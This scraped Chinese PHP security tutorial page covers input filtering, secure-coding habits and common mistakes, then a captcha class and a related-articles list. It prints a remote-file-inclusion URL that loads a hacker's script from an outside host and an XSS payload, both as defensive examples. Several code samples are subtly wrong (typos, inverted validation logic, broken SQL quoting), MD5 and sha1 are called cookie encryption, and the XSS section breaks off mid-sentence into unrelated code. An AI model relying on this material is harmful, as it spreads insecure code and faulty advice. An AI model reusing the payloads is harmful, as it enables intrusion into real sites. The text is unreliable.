php安全过滤与实例教程
php安全过滤与实例教程
PHP过滤器是一个PHP的扩展,帮助你更容易,并且可靠的验证字符串和变量,这样,你就永远不会有可能对下面语句而担心受怕了:
<?php
include($_GET[‘filename’])
?>
甚至更坏的情况:
<?php
mysql_query(“INSERT INTO table (field) VALUES ({$_POST[‘value’]} “);
?>
变量过滤
通过使用过滤器来过滤变量,你可以使用 filter_var() 函数, 让我们来尝试验证一个变量是否为一个整形,例如:
$variable = 1122;
eecho filter_var($variable,FILTER_VALIDATE_INT);
因为这个变量里保存的是个整形,所以代码讲显示 1122. 如果我们的变量值为”a344”, 屏幕上将不会打印出任何内容,因为验证失败了。
好,好的,也许你说这无非一个有趣的把戏罢了,但是,还有更多, 让我们看看,当我们想确认我们的变量是个整形,它的范围在5到10之间,我们怎么做:
<?php
$variable = 6;
$minimum_value = 5;
$minimum_value = 10;
echo filter_var($variable,FILTER_VALIDATE_INT,array(“option”=>array(“min_range”=>$minimum_value,”max_range”=>$maximum_value)));
?>
这样,这个变量则必须在范围之内—就像上面的例子那样—数字6将会被显示在屏幕上。
php提供了一个真正的很好的方法来检测浮点值—对于我们来说最有用的就是在构建购物车的时候用来检查值是否有两位小数点。 例如下面将会显示”31.53”是一个合法的浮点数。
<?php
$num = 31.53;
if(filter_var($num,FILTER_VALIDATE_FLOAT)===false){
echo $num.” 是合法的”;
}else{
echo $num “ 是个不合法的浮点数”;
}
尝尝验证一个URL的格式? 你可能需要去查看RFC1738规范,然后打开你的PHP文本编辑器编写一个类,来验证它,这可能需要上千行代码,对不?
好了,实际上,PHP可以通过URL过滤器自动帮你做到这些:
<?php
$url = http://www.somewebsite.domain;
if(filter_var($url,FILTER_VALIDATE_URL) === FALSE){
echo $url.” 不是个合法的 URL<br />”;
}else{
echo $url.” 是个合法的URL<br/>”;
}
现在,你可能说,你说的这些东西对我没用: 邮件验证,对它的验证你肯定得通过正则表达式,不对么? 错了! PHP的FILTER_VALIDATE_EMAIL 可以使它变得非常简单,甚至不费吹灰之力:
<?php
$email = wxysky@somehost.com;
if(filter_var($email,FILTER_VALIDATE_EMAIL) === false){
echo $email.” 不合法”;
}else{
echo $email.” 合法”;
}
现在,你是不是觉得可以花时间来了解一下它呢?电子邮件验证是个大难题,特别对于初学者来说,以我看来,我们应该以拥有它们感到幸福。。。
但是,这些还仅仅不够,让我们在做些其他的是,比如删除字符串的HTML标签,怎样:
<?php
$string = “<p>text</p>”;
echo filter_var($string,FILTER_SANITIZE_STRING);
?>
这样,我们将得到一个不带标签的”text”;
结论:
在这里,我们看到了PHP过滤器可以做到的几个例子,当然最重要的是验证你的代码—就像我们所有知道的那样,但是实际怎么做确实另一回事。 我只想在这里给你,给写代码的朋友,无论你是个新手还是专家—一个被肯定的验证方式,来帮助你从坏的代码逐渐旅行到好的代码中来。你的代码一定是最好的,你可以做到
PHP代码安全性问题的建议
PHP包括其他任何网络编程语言的安全性,具体表现在本地安全性和远程安全性两个方面,这里我们应该养成如下的几个习惯确保我们的PHP程序本身是安全的。
1、 验证用户输入的任何数据,保证PHP代码的安全
这里有一个技巧就是使用白名单,所谓白名单就是说:我们要求用户的数据应该是这样的,例如我们要求用户的输入是一个数字,我们就只检验这个值是否是一个数字就行了,而不必检验他到底是什么——其实他有可能是个恶意脚本。
对于这个检验我们不能只在客户端的javascript进行,战地认为JS只是为了提高来访用户的体验而产生的,而不是验证的工具。因为任何一个来访的用户都可能会,也有可能无意间就禁用了客户端脚本的执行,从而跳过这层验证。所以我们必须在PHP的服务器端程序上检验这些数据。
2、 保护数据库的安全——对即将运行于数据库的Sql语句进行安全性预处理。
任何时候都要对执行前的Mysql语句,进行mysql_real_escape_string操作——该函数的用法请参考PHP手册。诸多PHP的数据库抽象层例如ADODB都提供了类似的方法。
3、 不要依赖不该依赖的PHP设置——环境有时候不可靠
不依赖,magic_quotes_gpc=On,在程序编制的过程,尽量关闭这个配置选项,任何时候判断这个选项后再对用户输入的数据进行处理。切记——PHP v6 中将会删除这个选项。尽量在合适的时候使用addcslashes 系列函数——请参考手册
4、 验证数据来源,避免远程表单提交
不要使用$_SERVER['HTTP_REFERER']这个超级变量来检查数据的来源地址,一个很小的菜鸟黑客都会利用工具来伪造这个变量的数据,尽可能利用Md5,或者rand等函数来产生一个令牌,验证来源的时候,验证这个令牌是否匹配。
5、 保护会话数据,特别是Cookies
Cookie是保存在用户的计算机上的,保存之后任何用户都有可能出于某种原因更改他,我们必须对敏感数据进行加密处理。Md5、sha1都是个不错的加密方法。
6、 利用htmlentities()预防XSS攻击
对用户可能输入脚本语言的地方的数据进行htmlentities()操,将多数可以产生程序错误的用户输入进行实体化。记住要遵循第一个习惯:在 Web 应用程序的名称、电子邮件地址、电话号码和帐单信息的输入中用白名单中的值验证输入数据。
php 程序常犯错误总结
1.不转意html entities
一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。
echo $_GET['usename'] ;
这个例子有可能输出:
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法:
<?php
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]
每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。
如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off
4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
如何修复:
你必须自己控制哪些文件可以包含在的include或require指令中。
下面是一个快速但不全面的解决方法:
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>
5. 语法错误
语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!
6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。
7. 不使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?
8. 不知道PHP中已经有的功能
PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()
9.使用旧版本的PHP
很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.
10.对引号做两次转意
见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It's a string
magic quotes on :
It's a string
又运行一次
addslashes():
It\'s a string
HTML输出:
It's a string
$_SERVER[’PHP_SELF’]在开发的时候常会用到,一般用来引用当前网页地址,并且它是系统自动生成的全局变量,也会有什么问题么?让我们先看看下面的代码吧:
<form action=”<?php echo $_SERVER[’PHP_SELF’]; ?>”>
<input type=”submit” name=”submit” value=”submit” />
</form>
这段代码非常简单,我们想用$_SERVER[’PHP_SELF’]来让网页提交时提交到它自己,假设代码文件名为test.php,在执行的时候就一定会得到我们期望的地址么?首先试试地址http://…/test.php,结果当然是没有问题的啦,别着急,你再访问一下http://…/test.php/a=1,将会得到如下客户端代码:
<form action=”/fwolf/temp/test.php/a=1″>
<input type=”submit” name=”submit” value=”submit” />
</form>
显然,这已经超出了我们的期望,web服务器居然没有产生诸如404之类的错误,页面正常执行了,并且在生成的html代码中居然有用户可以输入的部分,恐怖的地方就在这里。别小看那个“a=1”,如果把它换成一段js代码,就显得更危险了,比如这么调用:
http://…/test.php/%22%3E%3Cscript%3Ealert(’xss’)%3C/script%3E%3Cfoo
是不是看到了js的alert函数执行的效果?检查一下生成的html源代码找找原因吧。
通过这种嵌入js代码的方式,攻击者能 php 图形验证码类 <?php session_start(); $vi = new vCodeImage; $vi->SetImage(1,4,65,20,80,1); class vCodeImage{ /******************************************************* **FILENAME: verify_image.php **COPYRIGHT: NONE! (但请保留此信息) **AUTHOR: vsFree.Com **DATE: 2007-08-08 ********************************************************/ var $mode; //1:数字模式,2:字母模式,3:数字字母模式,其他:数字字母优化模式 var $v_num; //验证码个数 var $img_w; //验证码图像宽度 var $img_h; //验证码图像高度 var $int_pixel_num; //干扰像素个数 var $int_line_num; //干扰线条数 var $font_dir; //字体文件相对路径 var $border; //图像边框 var $borderColor; //图像边框颜色 function SetImage($made,$v_num,$img_w,$img_h,$int_pixel_num,$int_line_num,$font_dir='../font',$border=true,$borderColor='255,200,85'){ if(!isset($_SESSION['vCode'])){ session_register('vCode'); } $_SESSION['vCode']=""; $this->mode = $made; $this->v_num = $v_num; $this->img_w = $img_w; $this->img_h = $img_h; $this->int_pixel_num = $int_pixel_num; $this->int_line_num = $int_line_num; $this->font_dir = $font_dir; $this->border = $border; $this->borderColor = $borderColor; $this->GenerateImage(); } function GetChar($mode){ if($mode == "1"){ $ychar = "0,1,2,3,4,5,6,7,8,9"; } else if($mode == "2"){ $ychar = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z"; } else if($mode == "3"){ $ychar = "0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z"; } else $ychar = "3,4,5,6,7,8,9,A,B,C,D,H,K,P,R,S,T,W,X,Y"; return $ychar; } function RandColor($rs,$re,$gs,$ge,$bs,$be){ $r = mt_rand($rs,$re); $g = mt_rand($gs,$ge); $b = mt_rand($bs,$be); return array($r,$g,$b); } function GenerateImage(){ $im = imagecreate($this->img_w,$this->img_h); $black = imagecolorallocate($im, 0,0,0); $white = imagecolorallocate($im, 255,255,255); $bgcolor = imagecolorallocate($im, 250,250,250); imagefill($im,0,0,$bgcolor); $fonts = ScanDir($this->font_dir); $fmax = count($fonts) - 2; $ychar = $this->GetChar($this->mode); $list = explode(",",$ychar); $x = mt_rand(2,$this->img_w/($this->v_num+2)); $cmax = count($list) - 1; $v_code = ''; for($i=0;$i<$this->v_num;$i++) //验证码 { $randnum = mt_rand(0,$cmax); $this_char = $list[$randnum]; $v_code .= $this_char; $size = mt_rand(intval($this->img_w/5),intval($this->img_w/4)); $angle = mt_rand(-20,20); $y = mt_rand(($size+2),($this->img_h-2)); if($this->border) $y = mt_rand(($size+3),($this->img_h-3)); $rand_color = $this->RandColor(0,200,0,100,0,250); $randcolor = imagecolorallocate($im,$rand_color[0],$rand_color[1],$rand_color[2]); $fontrand = mt_rand(2, $fmax); $font = "$this->font_dir/".$fonts[$fontrand]; imagettftext($im, $size, $angle, $x, $y, $randcolor, $font, $this_char); $x = $x + intval($this->img_w/($this->v_num+1)); } for($i=0;$i<$this->int_pixel_num;$i++){//干扰像素 $rand_color = $this->RandColor(50,250,0,250,50,250); $rand_color_pixel = imagecolorallocate($im,$rand_color[0],$rand_color[1],$rand_color[2]); imagesetpixel($im, mt_rand()%$this->img_w, mt_rand()%$this->img_h, $rand_color_pixel); } for($i=0;$i<$this->int_line_num;$i++){ //干扰线 $rand_color = $this->RandColor(0,250,0,250,0,250); $rand_color_line = imagecolorallocate($im,$rand_color[0],$rand_color[1],$rand_color[2]); imageline($im, mt_rand(0,intval($this->img_w/3)), mt_rand(0,$this->img_h), mt_rand(intval($this->img_w - ($this->img_w/3)),$this->img_w), mt_rand(0,$this->img_h), $rand_color_line); } if($this->border) //画出边框 { if(preg_match("/^d{1,3},d{1,3},d{1,3}$/",$this->borderColor)){ $borderColor = explode(',',$this->borderColor); } $border_color_line = imagecolorallocate($im,$borderColor[0],$borderColor[1],$borderColor[2]); imageline($im, 0, 0, $this->img_w, 0, $border_color_line); //上横 imageline($im, 0, 0, 0, $this->img_h, $border_color_line); //左竖 imageline($im, 0, $this->img_h-1, $this->img_w, $this->img_h-1, $border_color_line); //下横 imageline($im, $this->img_w-1, 0, $this->img_w-1, $this->img_h, $border_color_line); //右竖 } imageantialias($im,true); //抗锯齿 $time = time(); $_SESSION['vCode'] = $v_code."|".$time; //把验证码和生成时间负值给$_SESSION[vCode] //生成图像给浏览器 if (function_exists("imagegif")) { header ("Content-type: image/gif"); imagegif($im); } elseif (function_exists("imagepng")) { header ("Content-type: image/png"); imagepng($im); } elseif (function_exists("imagejpeg")) { header ("Content-type: image/jpeg"); imagejpeg($im, "", 80); } elseif (function_exists("imagewbmp")) { header ("Content-type: image/vnd.wap.wbmp"); imagewbmp($im); } else die("No Image Support On This Server !"); imagedestroy($im); } }
<img src="verify_image.php" alt="点此刷新验证码" name="verify_code" width="65" height="20" border="0" id="verify_code" onclick="document.getElementById('verify_code').src='verify_image.php?'+Math.random();" style="cursor:pointer;" />
复制代码字体文件见附件!
相关文章
- 今天小编在这里就来给Painter的这一款软件的使用者们来说一说绘制红衣喝酒男水粉画效果的教程,各位想知道具体绘制步骤的使用者,那么下面就快来跟着小编一起看一看教程...2016-09-14
iPhone6怎么激活?两种苹果iPhone6激活教程图文详解
iPhone6新机需要激活后才可以正常使用,那么对于小白用户来说,iPhone6如何激活使用呢?针对此问题,本文就为大家分别介绍Wifi无线网络激活以及iPhone6连接电脑激活这两种有效的方法,希望本文能够帮助到大家...2022-09-14- 今天小编在这里就来给各位photoshop的这一款软件的使用者们来说下制作雨中野外孤独行走的一头牛海报的教程,各位想知道具体制作方法的使用者们,大家就快来看一看小编给...2016-09-14
- 今天小编在这里就来给Painter的这一款软件的使用者们来说一下绘制帅气卡通魔法王子漫画的具体教程,各位想知道绘制步骤的使用者,那么下面就快来跟着小编一起看一看教程...2016-09-14
- 今天小编在这里就来给各位Illustrator的这一款软件的使用者们来说说鼠绘堆雪人的孩童矢量插画的教程,各位想知道具体绘制方法的使用者们,那么各位就快来跟着小编来看看...2016-09-14
- 支付宝支付在国内算是大家了,我们到处都可以使用支付宝了,下文整理介绍的是在安卓app应用中使用支付宝进行支付的开发例子。 之前讲了一篇博客关与支付宝集成获取...2016-09-20
- 今天小编在这里就来给美图秀秀的这一款软件的使用者们来说下究竟该怎么给照片天空加蓝天白云的教程,各位想知道具体制作步骤的,那么下面就来跟着小编一起看看吧。 ...2016-09-14
- 今天小编在这里就来给llustrator的这一款软件的使用者们来说一说绘制扁平化风格卡通警察护士空姐肖像的教程,各位想知道具体绘制步骤的使用者们,那么下面就快来跟着小编...2016-09-14
- 今天小编在这里就来给Illustrator的这一款软件的使用者们来说一下绘制一个方形的录音机图标的教程,各位想知道具体绘制方法的使用者们,那么下面就来看一下小编给大家分...2016-09-14
- 今天小编在这里就来给photoshop的这一款软件的使用者们来说一说简单制作一个搞笑的换脸表情包的教程,各位想知道具体制作方法的使用者们,那么大家就快来看一看教程吧。...2016-09-14
- 今天小编在这里就来给各位photoshop的这一款软件的使用者们来说说给手绘画调色变换场景的后期教程,各位想知道具体后期处理步骤的使用者们,那么大家就快来跟着小编来看...2016-10-02
- 今天小编在这里就来给美图秀秀的这一款软件的使用者们来说一下让你胸丰满起来的处理教程,各位想知道具体处理步骤的,那么下面就快来跟着小编一起看一下教程吧。 给...2016-09-14
- 今天小编在这里就来给Painter的这一款软件的使用者们来说一下绘制雷神传插画的教程,各位想知道具体绘制步骤的使用者,那么下面就快来跟着小编一起看看绘制方法吧。 ...2016-09-14
- 这篇文章主要介绍了cmd下过滤文件名称的两种方法,需要的朋友可以参考下...2020-06-30
- 作为前端,一直以来都知道HTTP劫持与XSS跨站脚本、CSRF跨站请求伪造。防御这些劫持最好的方法是从后端入手,前端能做的太少。而且由于源码的暴露,攻击者很容易绕过防御手段。但这不代表我们去了解这块的相关知识是没意义的,本文的许多方法,用在其他方面也是大有作用。...2021-05-24
- 联合索引又叫复合索引。对于复合索引:Mysql从左到右的使用索引中的字段,一个查询可以只使用索引中的一部份,但只能是最左侧部分。例如索引是key index (a,b,c). 可以支持a | a,b| a,b,c 3种组合进行查找,但不支持 b,c进...2015-11-24
- 这篇文章主要给大家介绍的是关于Lua语言新手入门的简单教程,文中通过示例代码一步步介绍的非常详细,对各位新手们的入门提供了一个很方便的教程,需要的朋友可以参考借鉴,下面随着小编来一起学习学习吧。...2020-06-30
- 一、下载 mysqlsla [root@localhost tmp]# wget http://hackmysql.com/scripts/mysqlsla-2.03.tar.gz--19:45:45-- http://hackmysql.com/scripts/mysqlsla-2.03.tar.gzResolving hackmysql.com... 64.13.232.157Conn...2015-11-24
- 今天小编在这里就来给photoshop的这一款软件的使用者们来说说用素材合成古典园林场景教程,各位想知道到底该怎么制作的,那么就快来一起看一下吧。 给各位photoshop...2016-09-14
- php类的使用实例教程 <?php /** * Class program for yinghua05-2 * designer :songsong */ class Template { var $tpl_vars; var $tpl_path; var $_deb...2016-11-25